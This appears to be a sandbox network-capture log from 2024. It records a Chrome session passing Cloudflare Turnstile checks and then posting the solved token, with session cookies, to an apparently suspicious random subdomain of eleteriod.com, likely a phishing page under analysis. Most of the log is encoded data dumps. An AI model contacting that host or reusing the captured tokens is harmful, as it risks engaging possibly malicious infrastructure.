aGmqb5Vwp5qalJa6vo13rYqPsJqGv4DItIqbpIa6ub3FqL2016zVwqfTp8fUzsHZy8Gao9Sfs9/Hy93uwezCwd3b7dDB8sLv7df6r83QzNjc+tPCxMP91fIJyOPg6MLozw/QEuHg5dcc8uUI9hLzHxMeEfsfEuAf4SIiDBACKgz6EScCDSwLJxwtFib29jYeDv4eEyMDBThCKhocGx8pKyw+JEcWITIRPDYrJjszPDQsRDFSNl1EWyEkRD9vSks
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 6f 69 31 6f 34 36 74 72 33 79 53 6d 4d 47 63 6c 49 57 65 6a 37 4f 35 6e 71 62 4d 79 61 4b 2b 6f 4b 6d 69 6f 4a 7a 56 74 73 72 51 72 70 47 31 6e 4e 43 64 32 5a 76 66 33 35 76 41 35 64 76 46 78 64 72 62 32 62 76 6b 37 75 76 6f 38 4f 32 37 36 73 66 32 79 61 37 42 2b 4d 32 79 78 2f 33 54 33 76 33 36 37 64 76 52 2f 76 44 66 42 51 58 49 76 67 6f 4f 34 51 55 4f 45 76 7a 6a 34 51 38 41 79 68 59 45 32 38 34 51 31 2b 76 58 32 50 59 4f 32 78 66 30 32 51 62 32 49 42 73 68 4c 79 38 42 42 51 58 36 45 79 38 41 4d 68 49 79 4e 51 54 78 38 76 30 54 2b 52 34 73 4c 52 49 4f 4f 42 51 45 4f 6b 56 47 49 6b 67 4d 53 43 4a 52 43 55 46 56 43 30 55 79 56 56 70 49 55 51 34 50 50 31 51 74 55 6a 38 62 51 43 41 6a 49 44 41 6d 4a 6b 4a 6f 4f 6d 64 4f 63 44 70 4b 63 32 31 48 64 46 42 7a Data Ascii: oi1o46tr3ySmMGclIWej7O5nqbMyaK+oKmioJzVtsrQrpG1nNCd2Zvf35vA5dvFxdrb2bvk7uvo8O276sf2ya7B+M2yx/3T3v367dvR/vDfBQXIvgoO4QUOEvzj4Q8AyhYE284Q1+vX2PYO2xf02Qb2IBshLy8BBQX6Ey8AMhIyNQTx8v0T+R4sLRIOOBQEOkVGIkgMSCJRCUFVC0UyVVpIUQ4PP1QtUj8bQCAjIDAmJkJoOmdOcDpKc21HdFBz
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 79 2b 6d 72 47 44 78 5a 50 45 75 38 61 64 6d 73 71 44 75 36 48 42 76 73 61 73 70 37 4f 75 72 4b 79 77 6d 62 76 49 75 74 54 57 6d 72 79 61 74 62 33 53 34 62 65 31 79 4c 2f 4b 71 4b 62 5a 33 4b 57 71 72 63 65 73 31 63 33 54 37 4e 48 72 78 39 6a 37 74 76 50 37 2b 66 4b 36 30 2f 6e 66 35 76 6a 48 78 67 54 2b 39 4e 72 49 2f 41 44 65 38 51 4d 53 43 78 54 30 43 51 2f 51 46 52 6e 71 37 51 6b 52 36 75 37 68 2b 4e 63 6c 2b 75 48 33 39 52 6b 74 41 41 54 6c 4a 4f 30 63 44 43 76 30 4e 77 72 78 47 7a 77 6b 37 69 67 6e 43 44 76 39 46 69 44 38 42 52 45 58 4b 69 67 65 43 78 30 33 51 7a 42 42 54 53 41 67 4e 45 5a 4e 4b 46 51 6d 58 46 55 39 55 6a 56 52 59 6d 4a 68 54 56 30 63 59 30 6c 41 51 31 39 46 50 43 70 67 57 6c 30 75 58 6c 4a 6f 55 55 31 33 61 58 68 61 57 46 74 62 57 Data Ascii: y+mrGDxZPEu8admsqDu6HBvsasp7OurKywmbvIutTWmryatb3S4be1yL/KqKbZ3KWqrces1c3T7NHrx9j7tvP7+fK60/nf5vjHxgT+9NrI/ADe8QMSCxT0CQ/QFRnq7QkR6u7h+Ncl+uH39RktAATlJO0cDCv0NwrxGzwk7ignCDv9FiD8BREXKigeCx03QzBBTSAgNEZNKFQmXFU9UjVRYmJhTV0cY0lAQ19FPCpgWl0uXlJoUU13aXhaWFtbW
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 59 6b 6f 50 45 6f 4c 72 4c 6c 61 61 71 7a 73 6d 6c 72 59 75 53 72 72 4c 57 6b 72 4b 76 30 70 79 35 79 35 6e 58 30 70 75 2b 31 74 4b 68 34 36 66 57 70 65 65 72 72 73 53 74 75 75 44 48 72 38 69 77 38 38 48 75 75 64 50 49 76 41 43 33 37 63 79 37 31 75 2b 2f 42 76 41 44 78 66 58 68 41 67 34 45 78 66 48 4f 36 66 4c 4f 7a 41 6a 4e 38 74 67 62 38 4f 7a 39 36 74 7a 34 2f 52 4c 67 45 52 72 34 4a 51 67 4c 43 41 4d 65 2f 54 41 73 42 68 4d 4d 2f 69 4d 56 38 69 59 78 42 52 45 77 4b 43 77 7a 50 45 49 41 41 42 63 2b 4e 76 7a 39 53 6b 4a 44 4e 54 70 4e 53 7a 34 36 4b 6c 4d 55 45 6c 4e 52 4b 53 77 35 52 7a 64 54 46 68 34 32 57 78 38 75 52 46 41 64 56 53 46 59 50 44 74 46 5a 30 78 46 54 31 35 54 61 55 64 53 4b 43 35 4a 53 32 52 6e 58 45 39 2f 64 44 31 63 51 45 74 59 66 6e Data Ascii: YkoPEoLrLlaaqzsmlrYuSrrLWkrKv0py5y5nX0pu+1tKh46fWpeerrsStuuDHr8iw88HuudPIvAC37cy71u+/BvADxfXhAg4ExfHO6fLOzAjN8tgb8Oz96tz4/RLgERr4JQgLCAMe/TAsBhMM/iMV8iYxBREwKCwzPEIAABc+Nvz9SkJDNTpNSz46KlMUElNRKSw5RzdTFh42Wx8uRFAdVSFYPDtFZ0xFT15TaUdSKC5JS2RnXE9/dD1cQEtYfn
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 79 71 4b 61 6e 59 32 2b 79 4d 2b 55 77 37 61 54 6a 37 50 51 32 4b 58 4b 76 64 66 43 79 36 2b 73 33 4c 6e 43 70 4f 50 47 70 4b 75 6d 77 39 2f 6e 7a 73 66 6b 31 50 50 4f 36 63 44 79 30 39 6d 37 76 64 48 4c 7a 63 72 57 76 50 76 46 37 39 58 41 41 76 6e 38 2b 77 72 35 36 39 6e 44 2b 2f 50 31 30 77 44 6e 35 75 67 4b 44 75 55 65 39 2b 77 55 36 67 33 63 34 4f 45 50 47 52 67 53 41 41 6b 42 4a 51 45 4b 49 79 34 46 4e 4f 73 75 43 67 49 6e 4f 42 51 47 4c 7a 77 54 47 77 30 38 46 67 34 45 51 42 6f 53 50 42 59 64 54 44 74 49 49 79 70 4c 53 69 56 55 55 31 4d 70 4e 44 46 54 4c 7a 5a 54 56 54 45 71 54 32 45 32 50 69 52 66 51 44 4d 31 5a 6a 31 48 4f 57 78 43 63 47 4e 75 52 53 74 4e 62 55 70 53 5a 33 68 50 56 6a 78 30 55 31 74 4e 65 31 78 4f 65 34 42 61 59 6f 4f 47 58 59 78 Data Ascii: yqKanY2+yM+Uw7aTj7PQ2KXKvdfCy6+s3LnCpOPGpKumw9/nzsfk1PPO6cDy09m7vdHLzcrWvPvF79XAAvn8+wr569nD+/P10wDn5ugKDuUe9+wU6g3c4OEPGRgSAAkBJQEKIy4FNOsuCgInOBQGLzwTGw08Fg4EQBoSPBYdTDtIIypLSiVUU1MpNDFTLzZTVTEqT2E2PiRfQDM1Zj1HOWxCcGNuRStNbUpSZ3hPVjx0U1tNe1xOe4BaYoOGXYx
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 38 37 53 71 4b 48 54 70 61 7a 62 7a 74 65 78 71 64 4c 61 74 61 33 61 34 72 6d 65 77 4f 43 38 74 64 37 6d 77 73 6e 65 36 38 54 6a 38 75 33 50 77 65 37 32 7a 66 76 32 39 39 4c 4a 37 76 37 56 38 2f 76 52 32 4f 45 44 42 64 37 6d 31 41 33 67 45 41 4d 4a 35 75 2f 73 44 75 6b 49 42 78 44 75 35 52 4d 57 38 76 6b 58 48 50 76 74 32 78 37 36 38 65 63 6a 2f 66 58 6e 4a 77 49 4d 43 53 6b 47 44 6a 4d 74 43 67 4c 76 4f 51 30 73 4d 7a 6b 63 48 42 6f 73 47 43 45 34 50 69 38 39 50 45 6b 6a 46 67 68 49 4a 79 77 71 50 53 77 68 45 46 64 42 53 79 34 37 4d 45 30 39 57 54 68 51 55 31 70 41 51 7a 30 65 4f 55 4a 66 61 45 41 33 52 57 5a 43 50 45 35 54 53 6b 35 76 62 6c 42 48 53 6c 56 54 53 58 42 4a 55 6e 42 2f 4f 31 68 31 55 6c 52 62 59 31 56 42 59 46 61 4d 56 32 65 51 67 34 31 77 Data Ascii: 87SqKHTpazbztexqdLata3a4rmewOC8td7mwsne68Tj8u3Pwe72zfv299LJ7v7V8/vR2OEDBd7m1A3gEAMJ5u/sDukIBxDu5RMW8vkXHPvt2x768ecj/fXnJwIMCSkGDjMtCgLvOQ0sMzkcHBosGCE4Pi89PEkjFghIJywqPSwhEFdBSy47ME09WThQU1pAQz0eOUJfaEA3RWZCPE5TSk5vblBHSlVTSXBJUnB/O1h1UlRbY1VBYFaMV2eQg41w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	59877	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:50 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:50 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:01:50 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: bJNWeR6Mx6KJi26VZ8zlwQ==$QuCqQ3ZoWMg/jCSs03f3Xw== Server: cloudflare CF-RAY: 887eb6b9a95e191b-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:50 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	59878	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:58 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33429 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 60ba1c6e58abf92 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:58 UTC	16384	OUT	Data Raw: 76 5f 38 38 37 65 62 36 38 66 65 62 66 34 37 32 38 61 3d 77 68 34 62 51 56 6c 74 42 56 42 2d 34 56 35 75 53 2d 34 62 35 68 6d 55 6c 4a 6c 7a 75 49 62 56 78 47 35 75 55 62 53 4e 62 56 59 75 54 56 75 47 48 62 47 4a 75 4c 62 75 68 47 56 75 33 62 6c 4e 48 62 6c 73 75 53 24 42 32 34 75 77 24 7a 67 75 54 41 51 55 75 73 75 53 42 74 75 58 62 6d 77 5a 39 35 75 56 25 32 62 75 47 34 78 68 6c 6c 47 42 54 48 75 79 53 35 39 2b 75 49 75 38 2b 6c 43 75 56 38 59 42 42 31 69 75 47 59 34 75 47 71 56 75 4d 41 42 75 38 62 75 45 2b 54 63 61 72 6f 34 75 4b 6f 6a 68 75 56 2b 63 2b 43 6d 43 64 55 38 68 59 67 32 6c 2b 6e 62 75 4e 49 55 4a 4f 70 68 75 32 41 7a 67 75 34 71 4a 48 6f 39 75 6b 62 6c 41 70 65 63 56 45 2b 5a 30 61 2b 69 39 64 43 69 56 69 6d 39 77 4b 4d 49 30 48 54 68 49 Data Ascii: v_887eb68febf4728a=wh4bQVltBVB-4V5uS-4b5hmUlJlzuIbVxG5uUbSNbVYuTVuGHbGJuLbuhGVu3blNHblsuS$B24uw$zguTAQUusuSBtuXbmwZ95uV%2buG4xhllGBTHuyS59+uIu8+lCuV8YBB1iuGY4uGqVuMABu8buE+Tcaro4uKojhuV+c+CmCdU8hYg2l+nbuNIUJOphu2Azgu4qJHo9ukblApecVE+Z0a+i9dCiVim9wKMI0HThI
2024-05-22 18:01:58 UTC	16384	OUT	Data Raw: 78 55 34 6c 74 75 45 75 4d 75 6d 4e 6e 78 32 68 56 5a 6c 6c 75 32 4c 46 48 55 62 47 46 75 54 66 62 42 75 24 78 32 62 2d 75 75 78 48 6c 62 35 2b 56 41 75 36 68 2d 2b 6c 75 35 74 75 2d 6f 68 30 75 67 62 32 75 56 35 75 68 62 77 39 56 68 75 4c 62 73 6e 56 48 75 5a 75 4b 71 2b 38 39 6d 75 56 78 47 76 62 54 49 38 24 47 68 78 72 77 70 2b 56 5a 75 7a 66 42 57 6c 5a 4c 4b 70 64 62 6d 6f 6c 48 62 34 78 6c 31 75 48 42 6d 68 56 79 75 44 75 45 70 4a 57 6c 34 75 34 4c 78 67 75 70 48 6d 68 47 35 6c 64 66 42 78 75 4d 6b 67 32 38 34 47 6b 78 75 74 34 78 56 79 75 6c 54 37 68 47 5a 75 75 62 48 38 56 67 6c 50 31 6f 62 6c 4a 75 36 68 77 62 2d 73 41 78 48 2d 48 56 53 75 71 42 73 42 6c 66 4c 69 78 2d 78 6c 55 62 51 62 38 63 47 76 65 2b 75 6c 72 30 6a 61 67 75 47 72 36 42 75 5a Data Ascii: xU4ltuEuMumNnx2hVZllu2LFHUbGFuTfbBu$x2b-uuxHlb5+VAu6h-+lu5tu-oh0ugb2uV5uhbw9VhuLbsnVHuZuKq+89muVxGvbTI8$Ghxrwp+VZuzfBWlZLKpdbmolHb4xl1uHBmhVyuDuEpJWl4u4LxgupHmhG5ldfBxuMkg284Gkxut4xVyulT7hGZuubH8VglP1oblJu6hwb-sAxH-HVSuqBsBlfLix-xlUbQb8cGve+ulr0jaguGr6BuZ
2024-05-22 18:01:58 UTC	661	OUT	Data Raw: 6d 37 39 78 56 30 24 62 78 24 6e 75 31 61 6c 30 4b 72 37 75 63 70 34 71 73 48 78 75 64 75 73 37 79 47 6c 35 47 50 57 64 35 75 6c 75 74 4a 63 67 6c 48 4c 4d 79 56 66 61 41 54 70 76 36 36 61 50 54 54 76 30 32 61 50 2d 36 24 36 47 43 2d 54 49 24 30 33 78 42 6b 55 4a 56 68 48 4a 62 4d 39 6c 6c 49 36 44 33 66 33 59 51 79 6b 79 39 75 62 71 32 55 4d 42 47 55 75 74 34 4f 75 5a 37 4e 49 4c 73 35 55 59 47 34 75 78 69 35 69 75 4e 39 36 6c 49 49 4b 51 41 7a 51 56 68 62 69 39 33 2b 56 34 39 77 39 61 6b 51 6c 47 68 39 73 5a 77 77 4b 58 2d 4b 6c 56 70 4b 33 39 30 44 77 36 6d 74 65 2b 2d 69 58 4b 66 46 68 77 50 2b 63 6e 2b 32 2b 4d 51 4b 7a 57 56 32 37 41 56 4e 78 31 37 72 30 4b 63 39 57 31 65 49 4b 30 39 79 31 4d 34 48 7a 73 54 76 48 57 78 61 46 67 41 2d 62 75 34 54 4c Data Ascii: m79xV0$bx$nu1al0Kr7ucp4qsHxudus7yGl5GPWd5ulutJcglHLMyVfaATpv66aPTTv02aP-6$6GC-TI$03xBkUJVhHJbM9llI6D3f3YQyky9ubq2UMBGUut4OuZ7NILs5UYG4uxi5iuN96lIIKQAzQVhbi93+V49w9akQlGh9sZwwKX-KlVpK390Dw6mte+-iXKfFhwP+cn+2+MQKzWV27AVNx17r0Kc9W1eIK09y1M4HzsTvHWxaFgA-bu4TL
2024-05-22 18:01:58 UTC	1257	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3416 Connection: close cf-chl-out: Aqj928NYm9SIMtrXBJ5cpzb/7sBmgIZBDU3vHXkOEZStaWbSueOGb3+3O/L+kHoHrKv8VC7eFfrEar6iQsNZHnJ62TJLzuEN+EJJqmndS57J0APZU3UQ7V/ihIvC/zAk$s3EbkNY+EjD6rYbyEgMVKw== cf-chl-out-s: DIKuqw9++EnPQEIUoalpBxQYT2mu+64pioCBmTI3t87w2ssgc9JwsfB08hwgHk7j+fdfxQQASvBtT40FWMNRasnyZVtqSw2/WwF6OdL3BD7ULVid8qCfOYZCXXQowASrUDxn5SkacwNQ915PjaUFNJy7YNIrlB2BfDeI0g5qQGUTdotrHQnSdefzIPiTguCazF7nHdgpdykQxwHu+yPYvflHH9g7NxldFSztfSjqzvBNzbb5bKj9lxo+Xlkq84ArdeWvNwhkuvpKt2agnvIh/NDGpeRi1X67jKNvOuLM7re/ySshxv92/JKeFtlbEqGk6xGMEFbstgnYxx+buEgB0f4hto+STQChIOJ1MtYkCPBSJa2HkBg+4vbfHO0PMEyLqAz4v6u1hn+zdh+oKr8jFyekcJn1XV48Ea5YsVpRjnjsIYf+6AcN/LVVVyF1APoYQhZyyX/95ZNRfZ9m8Yhb/BKEVIw4aqN2NDhqfmNo0QrWCiYy3QcJcZUP3RVhn/RmjuXs0E7k992CK5aKw6iStVhYCTytXfywVvpfuvYLqDIojyxVXliVcZ+a3BsDy5GV3afjvoPTmDSgfVbqUiOYNqW/s1yq5pd2+edceDfjJURM6jEU9wPVVM4gI1bnRTm3fl9udwZocTSUrxnbKD0CLocpIz6EqNVn55vLCu8k82UwzdvAuJZqsnyUGKMZlng9/C1WoHafC5w6m2RxBI3Yhmi3qYbbipyemPa7ts/bQzS+cOsw42eE88df/ZN6mTW5rJ2MEr0il9VfFTGCJpnimooMtxDkjA1gVZfiZ7uDAim6Jgnt4uAuvwRQqVDkYTUQ$S6hFtT/iYcmpUIy6aJ5X6g== Server: cloudflare CF-RAY: 887eb6ec597d7ca8-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:58 UTC	112	IN	Data Raw: 67 49 69 44 64 6c 53 56 6b 56 69 5a 63 70 6d 68 6e 33 78 36 6e 35 4f 52 6c 6f 56 6d 70 33 79 69 61 5a 75 64 69 4c 4b 48 6a 6e 4f 42 71 58 43 7a 6a 37 32 77 71 5a 39 2f 64 36 4f 4e 74 73 57 4f 74 71 54 4a 6b 72 65 47 6a 61 4b 38 6e 36 61 4d 70 74 43 67 73 71 69 6e 7a 4a 54 44 30 4e 44 58 79 39 50 4d 32 72 75 69 75 36 4c 53 73 64 50 55 Data Ascii: gIiDdlSVkViZcpmhn3x6n5ORloVmp3yiaZudiLKHjnOBqXCzj72wqZ9/d6ONtsWOtqTJkreGjaK8n6aMptCgsqinzJTD0NDXy9PM2ruiu6LSsdPU
2024-05-22 18:01:58 UTC	1369	IN	Data Raw: 75 62 62 4e 32 63 72 6c 38 4b 6e 76 37 36 2f 50 73 4c 6a 36 7a 2f 75 35 30 64 7a 4e 36 76 30 42 41 2f 33 78 35 51 51 43 78 39 67 4a 33 2f 58 49 7a 51 67 47 37 76 51 57 30 42 62 75 38 78 44 31 37 52 37 55 33 76 49 68 46 42 77 53 32 67 58 69 2f 50 59 4c 43 41 30 67 35 51 34 50 41 42 73 69 36 52 49 45 46 69 76 77 4c 43 55 4f 4c 42 6f 2b 44 54 5a 43 47 6a 45 64 2f 42 30 52 51 51 49 36 53 51 77 38 54 55 67 74 48 51 78 4d 44 69 55 51 57 45 38 36 52 43 73 79 4c 45 6c 52 57 68 39 56 49 7a 68 59 5a 69 49 37 61 6d 4e 41 61 6b 42 5a 52 32 34 39 63 56 4a 79 63 6d 4a 72 4d 45 4a 6c 64 6b 35 6d 58 56 35 4b 4f 58 78 52 55 45 35 6d 64 58 5a 68 66 34 46 35 58 32 65 48 54 58 42 74 53 6f 75 43 68 6c 53 44 62 48 65 47 5a 6e 74 6f 65 58 2b 4e 69 33 69 64 6b 6d 57 4a 68 57 42 Data Ascii: ubbN2crl8Knv76/PsLj6z/u50dzN6v0BA/3x5QQCx9gJ3/XIzQgG7vQW0Bbu8xD17R7U3vIhFBwS2gXi/PYLCA0g5Q4PABsi6RIEFivwLCUOLBo+DTZCGjEd/B0RQQI6SQw8TUgtHQxMDiUQWE86RCsyLElRWh9VIzhYZiI7amNAakBZR249cVJycmJrMEJldk5mXV5KOXxRUE5mdXZhf4F5X2eHTXBtSouChlSDbHeGZntoeX+Ni3idkmWJhWB
2024-05-22 18:01:58 UTC	1369	IN	Data Raw: 63 50 4e 34 39 4c 65 31 74 58 57 74 4d 6a 4d 79 75 6e 63 39 74 62 73 7a 63 33 4f 34 4e 50 6f 34 65 58 71 41 50 6a 6d 32 65 2f 75 2b 67 50 4e 39 67 4c 6d 44 2b 34 49 43 4e 59 64 44 77 7a 39 39 75 49 52 47 67 63 59 42 75 44 6c 49 76 66 31 39 75 6f 4b 2f 53 58 6b 48 75 30 67 49 77 55 34 4a 42 67 49 4d 52 73 78 49 52 6f 4f 48 67 34 54 48 69 59 55 52 7a 6b 37 47 55 77 57 49 42 30 76 4b 30 4d 65 4d 79 49 79 4a 45 67 71 4f 53 6b 6d 53 44 6f 73 4b 6a 74 54 4d 55 4e 44 57 6b 6c 59 50 6b 55 34 4f 30 70 4f 55 55 70 4b 55 6c 56 6b 55 32 5a 59 4d 6b 5a 56 52 6b 5a 4b 58 47 46 66 57 6d 4a 6b 68 46 35 6b 61 49 68 57 5a 57 31 6d 58 59 64 34 54 32 56 6d 59 47 56 77 69 35 56 73 6d 56 4e 37 63 70 42 30 66 4a 47 41 67 32 78 74 64 33 57 59 68 4b 53 67 6a 58 56 71 61 70 79 47 Data Ascii: cPN49Le1tXWtMjMyunc9tbszc3O4NPo4eXqAPjm2e/u+gPN9gLmD+4ICNYdDwz99uIRGgcYBuDlIvf19uoK/SXkHu0gIwU4JBgIMRsxIRoOHg4THiYURzk7GUwWIB0vK0MeMyIyJEgqOSkmSDosKjtTMUNDWklYPkU4O0pOUUpKUlVkU2ZYMkZVRkZKXGFfWmJkhF5kaIhWZW1mXYd4T2VmYGVwi5VsmVN7cpB0fJGAg2xtd3WYhKSgjXVqapyG
2024-05-22 18:01:58 UTC	566	IN	Data Raw: 72 59 37 72 76 52 33 4e 71 78 73 76 37 33 76 39 7a 59 31 63 66 64 36 64 69 39 33 77 76 71 31 38 62 6f 32 78 49 50 37 4f 54 4a 45 77 66 6d 30 78 73 48 38 68 37 6f 37 4e 33 61 45 66 67 66 33 79 59 46 2b 4f 4d 6f 39 2b 76 73 4c 65 38 53 38 41 6e 72 46 76 51 6c 46 54 7a 34 4a 78 45 57 2b 7a 38 4d 41 45 51 5a 4d 67 58 35 48 54 64 42 43 6b 73 37 51 6b 39 4d 4b 56 41 64 4b 69 56 54 56 46 4d 71 49 31 6f 64 52 79 67 65 4b 54 34 74 59 42 64 54 58 53 42 57 52 57 68 6c 51 6a 31 71 63 46 73 77 63 58 52 7a 52 55 35 35 54 31 56 36 4f 57 6c 2f 61 48 35 37 56 56 59 32 67 59 4e 62 51 33 5a 6f 68 59 74 33 62 56 36 4f 61 48 39 4d 56 46 52 74 59 4a 53 57 67 32 69 61 68 70 65 64 6e 34 74 30 59 61 4e 62 6a 36 57 6b 58 34 46 30 71 6f 46 35 65 36 2b 72 6b 58 79 79 72 35 2b 31 74 Data Ascii: rY7rvR3Nqxsv73v9zY1cfd6di93wvq18bo2xIP7OTJEwfm0xsH8h7o7N3aEfgf3yYF+OMo9+vsLe8S8AnrFvQlFTz4JxEW+z8MAEQZMgX5HTdBCks7Qk9MKVAdKiVTVFMqI1odRygeKT4tYBdTXSBWRWhlQj1qcFswcXRzRU55T1V6OWl/aH57VVY2gYNbQ3ZohYt3bV6OaH9MVFRtYJSWg2iahpedn4t0YaNbj6WkX4F0qoF5e6+rkXyyr5+1t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	59880	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:59 UTC	1450	OUT	POST /nmZPXExYNWLex4mM7631aNGhsiAsiJXNjNRAer HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive Content-Length: 1288 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7rRCTGXZuuUaN6B Accept: / Origin: https://l6agz47874.eleteriod.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://l6agz47874.eleteriod.com/k3hof49809/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkRYWmQ0TnFNcWw1UGMwek4zYWdZQ0E9PSIsInZhbHVlIjoibW5TdENxMXpQbUhWUVVVcWFXcFhUQmc3UXpacWhLZUVkV29iY2ovMjlMUEJNd2EwQjQwcTNYdGNuVnF2Q1locVlSQTgydjZlSGRwdGJib1lWelVBOE81YjBkeTU0emxQVDdhSGYxcE40eUpjOTRkTnZBb2tIU3BvQ3FVRmtlRjUiLCJtYWMiOiJjMTAyMmRkMjA3NTk3YjNhY2U0Zjg2YzE4ZGVjYjc2NWVlODEyMjk4NjcxYTQxZjI5MzIzMGJlNTY2NGMyNGZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAvcXlFODBrbkZ1bDA0NStDeUVvb1E9PSIsInZhbHVlIjoiRUJSSjdzaGRrMnVQS1hub1FrWHJ4aS83d3lKRGR6cE9ZeW9GeitWWXlPWXJuc25qZHg5MU56ZWdmMC96NmFRVUxMTGJvRHEraVpYSUoxZ2lEb2pjVmR1SW01T1U4OTJTVFBHMGdKeUtzak5RUjhGd0g4T2E2Q3ZydkV5UWpQdDUiLCJtYWMiOiI5NDE3NWJmYzMzMDUyNWRiNGY2OGZmNmM5MWJmMjU4OThhNjMyZjQyODllYWZlZDQ3ZGRhNGZmOWU0ZDQyNGM4IiwidGFnIjoiIn0%3D
2024-05-22 18:01:59 UTC	1288	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6a 37 72 52 43 54 47 58 5a 75 75 55 61 4e 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 4d 54 39 57 54 67 57 4a 67 59 67 75 43 30 68 4f 62 45 48 76 33 6c 41 66 49 57 4e 37 74 67 75 38 6a 67 6f 49 68 77 71 59 4a 53 55 52 6f 6f 4e 64 4b 59 30 7a 44 42 6a 6e 35 44 68 4f 50 79 37 75 73 35 4f 6b 4f 31 51 66 51 77 52 6f 36 48 6d 67 31 54 5f 79 6c 58 50 63 47 75 50 62 6b 71 6f 78 45 43 73 53 46 46 6b 4a 61 5f 4e 4d 63 6d 32 79 58 47 31 37 51 53 48 70 34 64 55 72 5a 30 59 37 4d 6c 7a 72 37 76 7a 72 62 46 42 55 56 33 2d 69 57 64 34 Data Ascii: ------WebKitFormBoundaryj7rRCTGXZuuUaN6BContent-Disposition: form-data; name="cf-turnstile-response"0.MT9WTgWJgYguC0hObEHv3lAfIWN7tgu8jgoIhwqYJSURooNdKY0zDBjn5DhOPy7us5OkO1QfQwRo6Hmg1T_ylXPcGuPbkqoxECsSFFkJa_NMcm2yXG17QSHp4dUrZ0Y7Mlzr7vzrbFBUV3-iWd4
2024-05-22 18:02:00 UTC	1001	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xHSErOHY8ECHOcyUliKMAVeyoQdyzXA28Xs2JS1A4LcSXj3E7%2BUzPU%2BEnrC16ecCdDAl29y%2FXgZsFCbez3pZVLMz%2F7c9W9FNz3BpB%2F0ZsIFS30t85kOukgCzj5Dg8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: 